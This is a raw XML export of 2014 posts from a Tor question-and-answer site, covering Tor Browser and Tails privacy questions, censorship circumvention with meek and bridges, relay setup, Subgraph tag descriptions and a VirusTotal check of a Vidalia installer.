  <row Id="2210" PostTypeId="2" ParentId="2195" CreationDate="2014-05-31T13:06:49.260" Score="2" Body="&lt;p&gt;The warning in Tails documentation predates a “New identity” option in the Tor Browser that would clear cookies, browsing history and the likes. If the only application used in Tails in the web browser, then it's likely safe to rely on that feature to create a new, unlinkable, browsing session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If any other network facing application is used, it's probably better to reboot.&lt;/p&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2014-05-31T13:06:49.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2211" PostTypeId="2" ParentId="2207" CreationDate="2014-05-31T13:10:19.620" Score="1" Body="&lt;p&gt;Tor is designed to prevent the Internet access provider — or an eavesdropper monitoring the access — from learning which sites are accessed. So using Tor can help defeating surveillance on a satellite connection. The latency of using Tor is likely to be important due the the high latency of satellite links.&lt;/p&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2014-05-31T13:10:19.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2212" PostTypeId="2" ParentId="2197" CreationDate="2014-05-31T13:14:55.757" Score="4" Body="&lt;p&gt;The new &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/meek&quot; rel=&quot;nofollow&quot;&gt;meek&lt;/a&gt; pluggable transport — currently in beta stage — is likely to work as it employs the same tricks than GoAgent, a popular circumvention method in China.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/meek#Quickstart&quot; rel=&quot;nofollow&quot;&gt;Ready to use bundles are available&lt;/a&gt; to test it.&lt;/p&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2014-05-31T13:14:55.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3213" PostTypeId="1" AcceptedAnswerId="3833" CreationDate="2014-05-31T17:05:37.097" Score="6" ViewCount="515" Body="&lt;p&gt;What do the numbers in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Circuit handshake stats since last time: 1833867/1833868 TAP, 159257/159257 NTor.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;mean? Is it how many of them were completed?&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-08-13T08:36:13.980" Title="How to interpret the Circuit handshake stats?" Tags="|circuit|stats|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3214" PostTypeId="1" CreationDate="2014-06-01T00:09:11.420" Score="2" ViewCount="96" Body="&lt;p&gt;I develop a software that will necessarily connect to Tor but I'm looking for a solution where Tor is blocked (else, my software would be useless in countries like China for example) how I could do that ?&lt;/p&gt;&#xA;" OwnerDisplayName="user1394" LastEditorUserId="923" LastEditDate="2014-06-24T08:25:55.753" LastActivityDate="2014-06-24T08:25:55.753" Title="Access to Tor anywhere" Tags="|censorship|development|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3215" PostTypeId="1" CreationDate="2014-06-01T00:20:33.073" Score="1" ViewCount="248" Body="&lt;p&gt;If nothing is downloaded, is there anything left behind on the hard drive. Say viewing a video&#xA;or reading an article.&lt;/p&gt;&#xA;" OwnerUserId="1865" LastActivityDate="2014-06-01T07:19:20.553" Title="What is left on the hard drive" Tags="|anonymity|" AnswerCount="1" CommentCount="0" ClosedDate="2014-06-01T07:43:26.823" ContentLicense="CC BY-SA 3.0" />
  <row Id="3216" PostTypeId="1" AcceptedAnswerId="3219" CreationDate="2014-06-01T03:56:09.997" Score="5" ViewCount="631" Body="&lt;p&gt;I have a very slow internet (120kbps) and so even saving a small file takes 15 minutes on a good day. I read tor switches circuit every 10 minutes, but if download proceeds more than 10 minutes, does it keep using same circuit without changing new? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1552" LastActivityDate="2016-01-15T09:22:45.167" Title="If download takes more than 10 minutes (Circuit refresh time), what happens to circuit change?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3217" PostTypeId="2" ParentId="2188" CreationDate="2014-06-01T04:09:20.193" Score="0" Body="&lt;p&gt;DNS resolves are done on the exit node side. So there are no DNS leaks when you use TBB. DNScrypt encrypts the dns request, true, but provides no anonymity at all.&lt;/p&gt;&#xA;" OwnerUserId="1552" LastActivityDate="2014-06-01T04:09:20.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3218" PostTypeId="2" ParentId="3215" CreationDate="2014-06-01T07:19:20.553" Score="1" Body="&lt;p&gt;With the &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html&quot; rel=&quot;nofollow&quot;&gt;Tor Browser&lt;/a&gt;? Ideally nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New bugs are unfortunately found from time to time and then fixed. One current example is the &lt;a href=&quot;https://bugs.torproject.org/9701&quot; rel=&quot;nofollow&quot;&gt;clipboard “cache”&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If disk leaks are a problem in your threat model, use &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt;. It gives you the guarantee that nothing will be written on disks, unless explicitly done as a user action.&lt;/p&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2014-06-01T07:19:20.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3219" PostTypeId="2" ParentId="3216" CreationDate="2014-06-01T13:54:44.983" Score="7" Body="&lt;p&gt;Tor should keep the used circuit around until it isn't used anymore. (Aka your download finished.) Of course it &lt;em&gt;can&lt;/em&gt; happen that a circuit dies even when it is in use. You &lt;em&gt;should&lt;/em&gt; be able to resume a download successfully in most cases.&#xA;Checking download signatures is advised provided they are available. &lt;/p&gt;&#xA;" OwnerUserId="312" LastActivityDate="2014-06-01T13:54:44.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3220" PostTypeId="2" ParentId="3214" CreationDate="2014-06-01T19:27:15.200" Score="1" Body="&lt;p&gt;You could run &lt;a href=&quot;https://cloud.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Bridges in the cloud&lt;/a&gt; and (if that is feasible) deliver different bridge configurations to different people.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-06-01T19:27:15.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3221" PostTypeId="2" ParentId="1753" CreationDate="2014-06-01T20:00:59.037" Score="0" Body="&lt;p&gt;While this isn't working now you might be able to just take a screen shot using your phone as a workaround, having a similar effect, even if using Orfox of course is the better way.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-06-01T20:00:59.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3222" PostTypeId="2" ParentId="1760" CreationDate="2014-06-01T20:16:01.010" Score="2" Body="&lt;p&gt;Should the exit node be owned or compromised by an attacker the attacker will have it easier to analyzing your traffic (using your behavior, writing style, ...) . Depending on how you use Tor it might in certain circumstances make it possible to at least guess who you are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the traffic you produce is spread over more exits an attacker has to control or analyze more total traffic. Tor basically works by hiding you in the crowd of its users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example when an attacker sees the user visits a certain web forum every day and the traffic you produce when connecting to that forum is unique enough an attacker might use this to create a profile. Even more if you use Tor a lot for various different things, always using the same exit. If all that behavior gets recorded an attacker might be able to reason about the produced traffic. How well that works depends on many factors, how and what for you use Tor and what the attacker's intentions are.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-06-01T20:16:01.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3223" PostTypeId="1" CreationDate="2014-06-01T22:41:06.197" Score="2" ViewCount="223" Body="&lt;p&gt;How can I know what does this message mean:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jun 01 18:28:23.000 [debug] circuit_build_times_add_time(): Adding circuit build time 525&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;code&gt;Log debug file TorMonitor&lt;/code&gt; in my torrc to view Tor logs.&lt;/p&gt;&#xA;" OwnerUserId="1868" LastEditorUserId="88" LastEditDate="2014-06-04T08:45:34.403" LastActivityDate="2014-06-04T08:45:34.403" Title="How can I find the meaning of the messages in Tor's debugging log?" Tags="|tor-browser-bundle|configuration|log|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3224" PostTypeId="1" CreationDate="2014-06-01T22:47:17.033" Score="12" ViewCount="90275" Body="&lt;p&gt;I tried to run Tor browser bundle as a root but it it didn't start and I got the above quoted error message. I'm not sure why? and I'm also wondering if there is away to make that possible.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="1868" LastActivityDate="2016-06-02T08:43:29.383" Title="&quot;The Tor Browser Bundle should not be run as root&quot; Why?" Tags="|tor-browser-bundle|ubuntu|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3225" PostTypeId="2" ParentId="1634" CreationDate="2014-06-01T23:35:03.550" Score="1" Body="&lt;p&gt;Im not sure but have you tried editing the torrc file on tails to set a control port &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Example: Set pi torrc to 127.0.0.1:&amp;lt;What ever port you wanna use rdp&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as you know it sets a localhost for connection to tor via anyone ip on network &lt;/p&gt;&#xA;&#xA;&lt;p&gt;set tails upon setup tor &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;click &quot;My network uses a proxy via web access&quot;, while youre connected to youre pi ad pi's 127.0.0.&amp;lt;number ur pc on access points&amp;gt;:&amp;lt;That port you set in pi for connection localhost&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this allows you to use PI's tor network as access point instead of tails setting localhost upont start up from this point any Controled envirnment apps via the PI points set ip to localhost and the port you set&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason tails has security to not access localhost apps incomming connections is upon start its set to use tails torrc file directly  so what the above does is it allows you to use youre PI acces point as tails's local ip before it connects to tor so from this point you can rdp to any pc on local host or use net by using youre ip &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;127.0.0.&amp;lt;number ur pc on access points&amp;gt;:&amp;lt;That port you set in pi for connection localhost&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Contact&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jabber: OverClock &quot;@&quot; jabber . ru&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2014-06-01T23:35:03.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3226" PostTypeId="1" CreationDate="2014-06-02T04:18:38.343" Score="3" ViewCount="412" Body="&lt;p&gt;&lt;a href=&quot;https://secure.sw.gs:419/aaw/publist/adblock.html&quot; rel=&quot;nofollow&quot;&gt;https://secure.sw.gs:419/aaw/publist/adblock.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This webpage ask me to include HidServAuth to my torrc file.&#xA;However, I'm not sure that this is safe.&#xA;What will happen if someone and I connect to the same hidden service using same HidServAuth secret?&lt;/p&gt;&#xA;" OwnerUserId="1870" LastEditorUserId="923" LastEditDate="2014-06-02T10:00:28.827" LastActivityDate="2014-10-13T23:37:02.920" Title="Is it safe to use shared HidServAuth with hidden service?" Tags="|onion-services|anonymity|security|configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3228" PostTypeId="1" AcceptedAnswerId="3229" CreationDate="2014-06-02T13:00:06.000" Score="9" ViewCount="29194" Body="&lt;p&gt;The installation instructions don't cover this.  I'm trying to install Tor Bundle for the first time and the setup prompts me for an installation location, defaulted to a folder on my desktop.  This doesn't seem right and I don't want to proceed without confirming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dgc2p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I change it to &lt;code&gt;c:\Program Files\Tor Browser&lt;/code&gt; or &lt;code&gt;c:\Program Files (x86)\Tor Browser&lt;/code&gt; and try to proceed, I get this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7YbVL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps this is due to UAC?  I'm not prompted.  I don't know if running the install As Administrator is the right thing to do either.&lt;/p&gt;&#xA;" OwnerUserId="1873" LastEditorUserId="88" LastEditDate="2014-06-02T14:56:31.040" LastActivityDate="2020-09-15T02:56:18.000" Title="Windows Installation Location" Tags="|tor-browser-bundle|windows|help|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3229" PostTypeId="2" ParentId="3228" CreationDate="2014-06-02T15:01:52.647" Score="2" Body="&lt;p&gt;I guess the term installation is a bit confusing here. Because mainly users think that files are written to some places inside &lt;code&gt;C:&lt;/code&gt;, registry is changed etc. The Tor Browser Bundle is so-called portable software. This means the software is installed into a directory as a whole and a relevant files for running the software live inside this directory. Tor Browser Bundle doesn't change registry nor writes it to some system directory. Therefore you can install (or, better, unpack) the software to any directory you want and run it from there. The Tor developers chose Desktop, because it exists on every Windows installation and is easily accessible, I guess. So it is safe to install it there, but you also can choose any other directory which belongs to your username (or if you are an administrator probably to any directory inside your system).&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-06-02T15:01:52.647" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3230" PostTypeId="2" ParentId="3224" CreationDate="2014-06-02T18:48:51.220" Score="14" Body="&lt;p&gt;&lt;strong&gt;Short Answer&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no advantage to using TBB as root, but there are significant risks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Longer Answer:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a generally accepted practice that userland applications (ie: application that are not system services) should not be run using a privileged account. This is to help ensure integrity and isolation of potentially harmful applications from core system resources. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A browser in particular is a high value target for adversaries as browsers interact with unknown third parties. Despite the Firefox and TBB developers' best efforts, it is possible that there may be vulnerabilities in TBB. If an attacker took control of a system via TBB, the damage could be much much worse if TBB was being run as a superuser.&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2014-06-02T18:48:51.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3231" PostTypeId="1" AcceptedAnswerId="3590" CreationDate="2014-06-02T18:52:53.557" Score="2" ViewCount="1171" Body="&lt;p&gt;Subgraph provides &lt;a href=&quot;https://subgraph.com/orchid/index.en.html&quot; rel=&quot;nofollow&quot;&gt;a third party implementation of Tor called 'Orchid'&lt;/a&gt;. Since this is not part of the official Tor Project, how do we know that it can be trusted ?&lt;/p&gt;&#xA;" OwnerUserId="610" LastEditorUserId="610" LastEditDate="2014-06-02T19:11:54.453" LastActivityDate="2017-06-06T04:04:16.280" Title="Can we trust Subgraph's Orchid project?" Tags="|java|subgraph|orchid|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3232" PostTypeId="1" CreationDate="2014-06-02T18:55:41.787" Score="2" ViewCount="2549" Body="&lt;p&gt;Subgraph has a new &lt;a href=&quot;https://subgraph.com/sgos/index.en.html&quot; rel=&quot;nofollow&quot;&gt;&quot;Adversary resistant computing platform&quot; called 'Subgraph OS'&lt;/a&gt; that seems superficially similar to Tails. What are the differences between the two projects?&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2017-04-07T19:54:04.603" Title="What are the key differences between SubgraphOS and Tails?" Tags="|tails|subgraph|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3233" PostTypeId="2" ParentId="1941" CreationDate="2014-06-02T19:02:47.430" Score="1" Body="&lt;p&gt;Look into Whonix - it seems to be the closest option to a turnkey linux platform to securely host a hidden service.&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2014-06-02T19:02:47.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3234" PostTypeId="5" CreationDate="2014-06-02T19:10:32.827" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://subgraph.com/&quot; rel=&quot;nofollow&quot;&gt;Subgraph&lt;/a&gt; bills themselves as 'an open source security company'. They have three main services - two of which, &lt;a href=&quot;https://subgraph.com/orchid/index.en.html&quot; rel=&quot;nofollow&quot;&gt;Orchid&lt;/a&gt; and &lt;a href=&quot;https://subgraph.com/sgos/index.en.html&quot; rel=&quot;nofollow&quot;&gt;Subgraph OS&lt;/a&gt;, are directly related to Tor.&lt;/p&gt;&#xA;" OwnerUserId="610" LastEditorUserId="610" LastEditDate="2014-06-03T12:54:22.963" LastActivityDate="2014-06-03T12:54:22.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3235" PostTypeId="4" CreationDate="2014-06-02T19:10:32.827" Score="0" Body="Subgraph is a company that writes open source security software and offers security services. " OwnerUserId="610" LastEditorUserId="610" LastEditDate="2014-06-03T12:53:41.530" LastActivityDate="2014-06-03T12:53:41.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3236" PostTypeId="5" CreationDate="2014-06-02T19:13:49.610" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://subgraph.com/orchid/index.en.html&quot; rel=&quot;nofollow&quot;&gt;Orchid&lt;/a&gt; is a pure Java Tor client and library that allows for Tor to be easily integrated into applications that run on the JVM. Orchid can also be used as a standalone alternative Tor client. It is developed and maintained by &lt;a href=&quot;https://subgraph.com/&quot; rel=&quot;nofollow&quot;&gt;Subgraph&lt;/a&gt;, and is not an official part of the Tor Project&lt;/p&gt;&#xA;" OwnerUserId="610" LastEditorUserId="610" LastEditDate="2014-06-03T12:53:34.697" LastActivityDate="2014-06-03T12:53:34.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3237" PostTypeId="4" CreationDate="2014-06-02T19:13:49.610" Score="0" Body="Orchid is a pure Java Tor client and library created and maintained by Subgraph." OwnerUserId="610" LastEditorUserId="610" LastEditDate="2014-06-03T12:54:15.007" LastActivityDate="2014-06-03T12:54:15.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3238" PostTypeId="1" CreationDate="2014-06-02T20:14:45.547" Score="2" ViewCount="305" Body="&lt;p&gt;How may I run multiple Tor relay instances in a single Windows 7 machine? &#xA;And if you can tell-me step-by-step, I appreciate a lot of!!&lt;/p&gt;&#xA;" OwnerUserId="1874" LastEditorUserId="88" LastEditDate="2015-08-24T09:04:54.837" LastActivityDate="2015-08-24T09:04:54.837" Title="How may I run multiple Tor relay instances in a single Windows 7 machine?" Tags="|tor-browser-bundle|configuration|relays|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3239" PostTypeId="1" CreationDate="2014-06-02T21:28:12.003" Score="3" ViewCount="1357" Body="&lt;p&gt;Can I safely use FoxyProxy together with the Tor Browser Bundle?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like to have an additional hop after the Tor exit node.&#xA;Therefore I am considering the use of the FoxyProxy plugin to&#xA;the Tor Browser Bundle. (Yes, I know I actually should not use&#xA;browser add-ons.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet, I am highly suspicious that FoxyProxy will screw up my anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I am afraid that it will route all traffic directly through the proxy,&#xA;bypassing the Tor network altogether.&lt;/strong&gt;&#xA;(Changing the default 127.0.0.1 to X.X.X.X | FoxyProxy not being able to chain proxies.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are my fears justified or can I safely use FoxyProxy?&lt;/p&gt;&#xA;" OwnerUserId="1875" LastEditorUserId="923" LastEditDate="2014-06-03T12:53:50.573" LastActivityDate="2015-11-23T05:00:35.213" Title="TBB + FoxyProxy = Safe?" Tags="|tor-browser-bundle|anonymity|security|firefox|plugin|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3240" PostTypeId="1" CreationDate="2014-06-03T00:00:56.850" Score="2" ViewCount="1641" Body="&lt;p&gt;Greeting earthlings, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am attempting to set up Tor relay and the only issue I am encountering is a message stating that Server Port Reachability test failed and directory port reachability test failed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specific Error Message 1:&#xA;Server Port Reachability Test Failed:&#xA;Your relays server port is not reachable by other Tor clients. This can happen if you are behind a router or firewall that requires you to set up port forwarding. If &quot;IP address&quot; is not your correct IP address and server port, please check your relays configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specific Error Message 2:&#xA;Directory Port Reachability Test Failed&#xA;Your Relays directory port is not reachable by other Tor clients. This can happen if you are behind a router or firwall that requires you to set up port forwarding. If &quot;IP address&quot; is not your correct IP address and directory port, please check your relays configuration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within Vidalia the relay port is 443 and the directory port is 9030. I have checked my firewall and Tor and Vidalia are allowed full access so Vidalia trying to establish a circuit (with no sucess at this time) and Tor is connecting fine. The network setup is a the internet connection coming into a cisco modem (this is the public IP address Tor is seeing). After the modem the internet connection is connected to a router which distributes addresses to computing devices via DHCP, the computer I am attempting to use  as a Tor relay is one of the connections on the router which is in turn fed to the modem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within the Cisco Router Setup/ Configuration Ftp, Telnet, SMTP, DNS, TFTP, Finger, HTTP, pop3, NNMP, SMNP AND pptp protocols are allowed to be forwared to IP address that the Cisco Router router assigns (i.e. my computer). The thing with forwarding the aforementioned ports in router configuration is that the router does not allow one to choose a port at all when forwarding the protocol, this indicates default ports associated with those services seem to be programmed by default and not changable when forwarding for the router. For the protocols UDP and TCP I am allowed to specify any port but again only for those two protocols. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please correct me if I am wrong but the only way I see Vidalia working as a relay correclty based on the parameters is if:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Ports 443 and 9030 are either TCP or UDP ( I tied forwarding both ports using those protocols and changing from DHCP to Static address configuration to no avail) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Having the Vidalia use one of the default standard ports to include FTP, Telnet, SMTP, DNS, TFTP, Finger, HTTP, pop3, NNMP, smnp OR pptp for forwarding but only using the default ports normally associated with those protocols and no other as this seemd to be programmed as a default security feature into the router.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If anyone knows what protocols are being used in Vidalia for ports 443 (Error 1 port) and 9030 ( Error 2 Port) it will help in further troubleshooting. I can buy another router/ trade in the current one for one that will allow forwarding of all protocols to any port specifed as a last resort. &lt;/p&gt;&#xA;" OwnerUserId="1876" LastEditorUserId="923" LastEditDate="2014-06-24T08:25:05.573" LastActivityDate="2014-10-10T18:14:42.367" Title="Setting up Tor relay and port reachability test failed error message" Tags="|relays|configuration|windows|onion-routing|vidalia|" AnswerCount="0" CommentCount="2" ClosedDate="2015-08-25T06:23:26.360" ContentLicense="CC BY-SA 3.0" />
  <row Id="3241" PostTypeId="1" CreationDate="2014-06-03T06:54:09.907" Score="1" ViewCount="168" Body="&lt;p&gt;I know I should avoid running bittorrent application over Tor, but I do not understand what does it mean. I should not browse the web using Tor browser and run bittorrent application at the same time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am just learning english, so sorry for probably stupid question&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2014-06-08T00:19:26.307" Title="What does it mean to run bittorrent app over Tor?" Tags="|bittorrent|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3242" PostTypeId="2" ParentId="1866" CreationDate="2014-06-03T13:55:11.430" Score="1" Body="&lt;p&gt;The warning was introduced as part of security fix. It is just information that some client was trying to send to you some unexpected SENDME cell which could be used to do targeted memory denial-of-service attacks on entry nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The brief description of that security fix is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tear down the circuit if we get an unexpected SENDME cell. Clients&#xA;  could use this trick to make their circuits receive cells faster&#xA;  than our flow control would have allowed, or to gum up the network,&#xA;  or possibly to do targeted memory denial-of-service attacks on&#xA;  entry nodes. Fixes bug 6252. Bugfix on the 54th commit on Tor --&#xA;  from July 2002, before the release of Tor 0.0.0.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Check the Tor bug report at &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/6252&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/6252&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The responsible code from where this warning is coming:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** Respond to an ESTABLISH_INTRO cell by checking the signed data and&#xA; * setting the circuit's purpose and service pk digest.&#xA; */&#xA;int&#xA;rend_mid_establish_intro(or_circuit_t *circ, const char *request,&#xA;                         size_t request_len)&#xA;...&#xA;  log_info(LD_REND,&#xA;           &quot;Received an ESTABLISH_INTRO request on circuit %d&quot;,&#xA;           circ-&amp;gt;p_circ_id);&#xA;&#xA;  if (circ-&amp;gt;_base.purpose != CIRCUIT_PURPOSE_OR || circ-&amp;gt;_base.n_conn) {&#xA;    log_fn(LOG_PROTOCOL_WARN, LD_PROTOCOL,&#xA;         &quot;Rejecting ESTABLISH_INTRO on non-OR or non-edge circuit.&quot;);&#xA;    reason = END_CIRC_REASON_TORPROTOCOL;&#xA;    goto err;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To summarise, you shouldn't worry about it much. You may just ignore it.&lt;/p&gt;&#xA;" OwnerUserId="1880" LastActivityDate="2014-06-03T13:55:11.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3243" PostTypeId="2" ParentId="2194" CreationDate="2014-06-03T14:03:49.127" Score="0" Body="&lt;p&gt;File was scanned by &lt;a href=&quot;https://www.virustotal.com/en/url/8bc5463cd78824795248b40b124af7a72f1ed5fdf4398651376426ee12907d09/analysis/1401804005/&quot; rel=&quot;nofollow&quot;&gt;VirusTotal&lt;/a&gt; and it's clean, so you should not worry about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I think it's 0.2.4.22, but it was minor release so ignore the version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just give administrator privileges to run this executable.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;File details:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Detection ratio:     1 / 51&#xA;Authenticode signature block&#xA;Product Vidalia Bridge Bundle&#xA;File version 0.2.4.22-0.2.21&#xA;Description Vidalia Bridge Bundle 0.2.4.22-0.2.21&#xA;Comments Vidalia Bridge Bundle 0.2.4.22-0.2.21&#xA;Target machine Intel 386 or later processors and compatible processors&#xA;Compilation timestamp 2009-12-05 22:50:46&#xA;Link date 11:50 PM 12/5/2009&#xA;Entry Point 0x0000323C&#xA;MD5 7407144903135b9adda4541964249587&#xA;SHA1 984a5ece5da7f6341cb14deb42112fc0d5e797a3&#xA;SHA256 14364cc7119cf2d1fc977c6997d1c925965b04af62fa979411b59bcbfc28a924&#xA;ssdeep196608:Kb/o+3HxdYb4PA2fLTOiMTiuuojulgly+FAzcBnMqnXG+p/fk+CF:KDZdnjPOjiuuQGzoMq78+CF&#xA;imphash  099c0646ea7282d232219f8807883be0&#xA;File size 9.0 MB ( 9387116 bytes )&#xA;File type Win32 EXE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1880" LastActivityDate="2014-06-03T14:03:49.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
